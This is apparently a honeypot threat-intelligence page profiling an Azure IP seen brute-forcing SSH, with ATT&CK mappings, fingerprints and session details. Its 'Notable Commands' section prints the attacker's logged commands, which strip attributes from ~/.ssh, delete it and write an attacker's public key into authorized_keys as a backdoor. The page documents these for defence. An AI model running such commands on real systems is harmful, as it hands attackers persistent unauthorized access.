IntrusionLabs IntrusionLabs
← Back to feed

172.190.220.228

Threat Confidence
49%
Location
🇺🇸 US / Washington
ASN
AS8075 · Microsoft Corporation
Cloud Provider
Microsoft Azure
Total Events
18
Average by volume
Agent Count
1
First / Last Seen
2026-04-14 18:53 — 2026-04-14 18:53
Attack Types
ssh:bruteforce
MITRE ATT&CK Techniques
Initial Access
T1078
Defense Evasion
T1070.004
Credential Access
T1110 T1110.001
Command and Control
T1105
External Corroboration
Not flagged by any external feeds
Campaigns
Not associated with any campaigns
Session Forensics
malware_dropper ×1 opportunistic_bruter ×1
Sessions
2 (2 with login)
Avg Depth Score
0.75
Commands Executed
3
Files Downloaded
1
Notable Commands
  • cd ~; chattr -ia .ssh; lockr -ia .ssh
  • lockr -ia .ssh
  • cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
Fingerprints
HASSH
03a80b21afa810682a776a7d42e5e6fb
SSH Client
SSH-2.0-libssh_0.11.1
Evidence Timeline
Malware Dropper 6894625928ae w4m_singapore_01 · 2026-04-14 18:53
3 1 1 100%
Loading events...
Opportunistic Bruter 7df586504fad w4m_singapore_01 · 2026-04-14 18:53
1 50%
Loading events...